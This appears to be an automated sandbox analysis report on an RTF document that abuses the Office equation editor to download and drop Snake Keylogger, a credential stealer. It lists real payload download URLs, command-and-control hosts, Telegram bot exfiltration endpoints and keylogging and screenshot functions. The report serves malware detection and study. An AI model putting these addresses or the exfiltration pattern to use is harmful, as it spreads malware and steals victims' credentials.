Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Nov 2024 17:08:24 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: wealthcharliebgk.exe, 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, 00000002.00000002.360779526.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.360779526.000000000067D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.39/txt/Xkl0PnD8zFPjfh1.exe
Source: EQNEDT32.EXE, 00000002.00000003.360572542.000000000067B000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.360779526.000000000067D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.39/txt/Xkl0PnD8zFPjfh1.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.360779526.000000000064F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.39/txt/Xkl0PnD8zFPjfh1.exej
Source: EQNEDT32.EXE, 00000002.00000002.360779526.000000000064F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.39/txt/Xkl0PnD8zFPjfh1.exettC:
Source: wealthcharliebgk.exe, 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: wealthcharliebgk.exe, 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000025AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002529000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000259E000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002590000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002496000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000257D000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002546000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002554000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002483000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002529000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000259E000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002590000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002496000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000257D000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002562000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000024D5000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002546000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002554000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875720695.000000000053C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: wealthcharliebgk.exe, 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: wealthcharliebgk.exe, 00000008.00000002.877493043.0000000005B14000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wealthcharliebgk.exe, 00000008.00000002.877493043.0000000005B14000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002529000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000259E000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002590000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000257D000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002546000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002554000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002536000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000024AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: wealthcharliebgk.exe, 00000005.00000002.371713149.0000000002465000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000023F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: wealthcharliebgk.exe, 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000346B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026BA000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000268B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034B7000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000025AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: wealthcharliebgk.exe, 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000025AC000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000025AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000025AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20a
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000346B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026BA000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000268B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034B7000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000346B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026BA000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000268B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034B7000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000346B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026BA000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000268B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034B7000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000346B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026BA000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000268B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034B7000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002529000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000259E000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002590000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002496000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000257D000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000024D5000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002546000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002554000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: wealthcharliebgk.exe, 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002496000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002529000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000259E000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002590000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000257D000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000024D5000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002546000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002554000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.754
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000346B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026BA000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000268B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034B7000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000346B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026BA000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.000000000268B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034B7000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: wealthcharliebgk.exe, 00000008.00000002.875720695.0000000000555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.0000000002678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003542000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003542000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003542000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: wealthcharliebgk.exe, 00000008.00000002.876070304.00000000026CD000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000350D000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003567000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.000000000361B000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000035F6000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000035C1000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003542000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034F8000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003542000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034F8000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003542000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: wealthcharliebgk.exe, 00000008.00000002.876897343.000000000351A000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003552000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000035CE000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.0000000003606000.00000004.00000800.00020000.00000000.sdmp, wealthcharliebgk.exe, 00000008.00000002.876897343.00000000034F8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49179 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: Xkl0PnD8zFPjfh1.wiz.rtf
Malicious sample detected (through community Yara rule)
Source: Xkl0PnD8zFPjfh1.wiz.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: wealthcharliebgk.exe PID: 3756, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: wealthcharliebgk.exe PID: 3860, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\Xkl0PnD8zFPjfh1[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 5_2_0048070C 5_2_0048070C
